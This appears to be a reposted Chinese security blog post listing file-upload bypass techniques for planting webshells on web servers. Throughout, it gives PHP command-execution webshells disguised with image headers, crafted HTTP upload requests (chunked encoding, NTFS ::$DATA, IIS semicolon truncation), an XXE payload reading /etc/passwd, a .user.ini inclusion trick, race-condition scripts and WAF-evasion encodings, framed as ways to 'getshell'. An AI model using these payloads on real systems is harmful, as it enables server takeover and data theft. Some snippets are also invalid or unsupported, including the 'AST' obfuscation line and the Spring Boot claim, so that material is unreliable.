最新文件上传姿势一览

admin 2025年2月28日23:06:59评论8 views字数 2387阅读7分57秒阅读模式
前言
最近看了很多文件上传文章,手痒难耐渴望getshell!测试了几个站点,还是有不少收获的,不过也有很多学的姿势没用上,但是网站千千万,肯定有能用上的时候,更何况文件上传漏洞作为getshell最直接的姿势之一,随着网络安全防御体系的逐步完善,当下几乎所有网站都采用白名单过滤机制。这一转变使得许多存在于老靶场中的传统绕过方法失效,实战才是检验和提升技术的最佳途径。技多不压身,多学几个绕过姿势肯定不亏。

一、协议层混淆技术

  1. 1. MIME编码利用RFC 2047规范对文件名进行编码混淆,例如将shell.jsp编码为
=?utf-8?Q?shell.jsp?=
部分WAF无法识别解码逻辑。Java框架(如Apache Commons-FileUpload)会自动解码此类编码,但部分防护设备可能遗漏检测。
  1. 2. HTTP协议拆分在请求头中插入多个Content-Disposition字段或修改boundary值,例如:
 Content-Disposition: form-data; name="file"; Content-Disposition: filename="shell.php"

通过构造不规范的协议格式干扰WAF解析逻辑。

  1. 3. 分块传输编码(Chunked Encoding)将恶意文件内容拆分为多个HTTP分块发送,绕过基于完整内容检测的WAF规则。
POST /upload.php HTTP/1.1Host: target.comTransfer-Encoding: chunked5;x=1<?php5;y=2eval(7;z=3$_POST[0]1;);0rnrn

二、文件内容欺骗技术

1. 混合文件头构造

在木马前添加合法文件头(如GIF89a或%PDF-1.5),同时保留脚本代码:

GIF89a;<?php system($_GET['cmd']); ?>

可绕过基于前512字节的魔数检测。

  1. 2. AST语法树注入

    通过混淆代码结构绕过AI模型检测,例如:

<?= (($$$$$_=@$_GET[0x1]) && $$$$$$_=$$$$$_.['']) ? $$$$$$_() : 1;?>
    此类代码在语法层面保持合法性,但语义难以分析

  1. 3. XML实体注入(针对SVG/Office文件)在SVG文件中嵌入CDATA区块隐藏恶意脚本:
<svg><![CDATA[<?xml version="1.0"?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> %xxe;]>]]></svg>

三、系统特性利用代码示例

1. Windows特性绕过

① NTFS数据流特性

POST /upload.php HTTP/1.1Content-Disposition: form-data; name="file"; filename="shell.php::$DATA"<?php system($_GET['cmd']); ?>
原理:利用NTFS文件流的特性,::DATA标识符会被Windows自动忽略,最终保存为shell.php

② IIS短文件名截断

PUT /upload/shell.asp;.jpg HTTP/1.1Content-Type: image/jpeg<% Response.Write("Exploited") %>

原理:IIS 6.0及以下版本会忽略分号后的内容,将shell.asp;.jpg解析为shell.asp执行。

2. Linux解析漏洞

① Apache多级扩展名绕过

# Apache配置片段(错误示例)AddHandler application/x-httpd-php .php .php3

上传文件shell.php.png后,若.png未注册处理程序,Apache可能回退到.php解析。

② Spring Boot路径标准化漏洞

String fileName = "../../var/log/spring.log.jsp";multipartFile.transferTo(newFile(uploadDir + fileName));

原理:Spring Boot 3.x路径标准化缺陷可能导致日志文件被覆盖为Webshell。

3. 云原生环境绕过(没遇到过,可以参考一下)

AWS Lambda内存驻留攻击

①  CDN边缘解析漏洞

GET/cdn_cache/image.png/.php HTTP/1.1Host

原理:部分CDN边缘节点(如Nginx错误配置)可能将image.png/.php解析为PHP脚本。

四、高级逻辑漏洞组合

  1. 1. 条件竞争自动化使用Turbo Intruder工具实现毫秒级并发攻击,在文件被重命名或删除前触发执行(但是这个工具里的脚本我自己用不太明白,我并发一般用yakit里自带的并发工具,但是功能确实没有这个强大):
engine = RequestEngine(concurrentConnections=50, requestsPerConnection=100)engine.queue(upload_payload, pauseTime=1000)engine.queue(access_payload, delay=800)
  1. 2. 文件包含链式利用上传.user.ini文件配置自动加载:
auto_prepend_file=malicious.jpg

强制所有PHP文件包含恶意图片马。

五、WAF对抗技术

  1. 1. 数据包污染在请求中插入1MB以上随机数据,突破WAF内容检测阈值。
  2. 2. 语义层绕过使用双重URL编码或零宽空格(%E2%80%8B)混淆关键词,例如:
%2566ile(解码后为file)

原文始发于微信公众号(无尽藏攻防实验室):最新文件上传姿势一览,助你getshell!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月28日23:06:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   最新文件上传姿势一览https://cn-sec.com/archives/3780335.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息